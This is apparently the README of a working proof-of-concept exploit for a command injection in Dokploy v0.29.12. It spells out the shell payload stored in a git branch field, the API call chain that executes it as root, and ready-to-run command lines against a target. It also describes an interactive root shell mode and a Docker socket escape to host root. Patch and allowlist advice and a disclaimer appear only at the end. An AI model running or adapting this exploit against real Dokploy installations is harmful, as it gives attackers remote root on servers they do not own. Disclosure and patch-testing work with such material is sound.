
Working, stdlib-only PoC. A low-privileged authenticated user stores a shell palistener
Working, stdlib-only PoC. A low-privileged authenticated user stores a shell
payload in a compose branch field (compose.update), queues a deploy
(compose.deploy), and reads the command output back from the deployment log
(deployment.readLogs). No listener, no egress, no dependencies.
dokploy/dokploy:v0.29.12 tested)47347ab (see FIX-72867.patch)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9, CWE-78)compose.update stores customGitBranch as an unbounded string. No
charset, length, or metacharacter check at the schema or service layer.compose.deploy interpolates the stored value unquoted into
git clone --branch ${customGitBranch} ..., executed via /bin/sh -c
as root. Payload main;echo MARK-u$(id -u)-$(id -un)-h$(hostname);echo
breaks out of the clone; the trailing echo keeps the enclosing
if ! ... ; then block syntactically valid.deployment.readLogs, so the same session reads the proof back. The
detector only accepts the expanded marker (uid substituted), which a
patched build never produces.On default installs the app container mounts the Docker daemon socket read-write, so container root is host root.
python poc-cve-2026-72867.py --url http://localhost:3000
python poc-cve-2026-72867.py --url https://target:3000 --mode signin \
--email [email protected] --password '...' --insecure
| Flag | Default | Notes |
|---|---|---|
--url | http://localhost:3000 | target base URL |
--email / --password | [email protected] / PocPassword123! | used for signup or signin |
--mode | auto | signup (fresh install, first user = owner), signin, or auto (try signup, fall back to signin) |
--timeout | 240 | seconds to wait for the deployment to finish |
--insecure | off | skip TLS verification (self-signed targets) |
--shell | off | interactive shell instead of the one-shot check |
Exit code 0 means RCE proven (expanded marker in the log). Anything else means it failed; the output says which step did.
Sample run against dokploy/dokploy:v0.29.12:
[*] target: http://localhost:3000 marker: DOKPLOY72867-r7rood2u
[*] target up (settings.health ok)
[+] signed up (fresh install, owner session)
[+] project TNILHbkFJyaz6TWMYmfFt env m0025DBBnAc-DMu2K_R-6
[+] compose y_MUIhtDpIQt5zZ5zZTSY
[+] evil branch persisted via compose.update (no server-side validation)
[*] deploy queued, polling deployments...
[*] deployment S32sAXUlR35d7cB0fUedY status=error
======================================================================
RESULT: RCE CONFIRMED
log: DOKPLOY72867-r7rood2u-u0-root-h17fb7458580a
Notes:
error state. That is expected: the clone fails
after the payload has already run.NO EXECUTION (marker present but unexpanded) and exits 1. The raw branch text still appears in git's
error output; only uid substitution counts as execution.python poc-cve-2026-72867.py --url http://localhost:3000 --shell
sh:0$ id
uid=0(root) gid=0(root) groups=0(root)
sh:1$ whoami
root
sh:2$ echo SHELLMARKER-12345
SHELLMARKER-12345
sh:3$ exit
Each command is stored as a branch payload with fresh random markers,
deployed, and read back from the deployment log: about 3 seconds per
command against the local lab, one deploy cycle each. Every command runs
in a fresh root shell: cd and env changes don't persist between
commands. Chain with ; or use absolute paths instead. exit quits.
The published image, not a source build:
dokploy-pg: postgres:15 (user/db dokploy)dokploy-redis: redis:7dokploy-app: dokploy/dokploy:v0.29.12 (4.26 GB pull), -p 3000:3000,
/var/run/docker.sock mounted read-write (as the official installer
does), env: DATABASE_URL (host must be the pg container name),
REDIS_HOST, BETTER_AUTH_SECRET, PORT=3000, NODE_ENV=productionPrerequisites the installer normally provides:
docker swarm init (database deploys fail without a swarm manager)docker network create --driver overlay --attachable dokploy-networkDATABASE_URL hostname must equal the postgres container name, not
localhost (wrong hostname hangs the boot in wait-for-postgres)Caveat: on Docker Desktop the socket escape lands in the Desktop Linux VM, the exact analogue of host root on real Linux installs.
Upgrade to >= 0.29.13. Defense in depth: add a branch-name allowlist at the
schema edge (^[A-Za-z0-9._/\-]+$ with a length cap) so stored values stay
safe even if a future caller builds a new command line.
Authorized testing only. Run against systems you own or have written permission to test. The author is not responsible for misuse.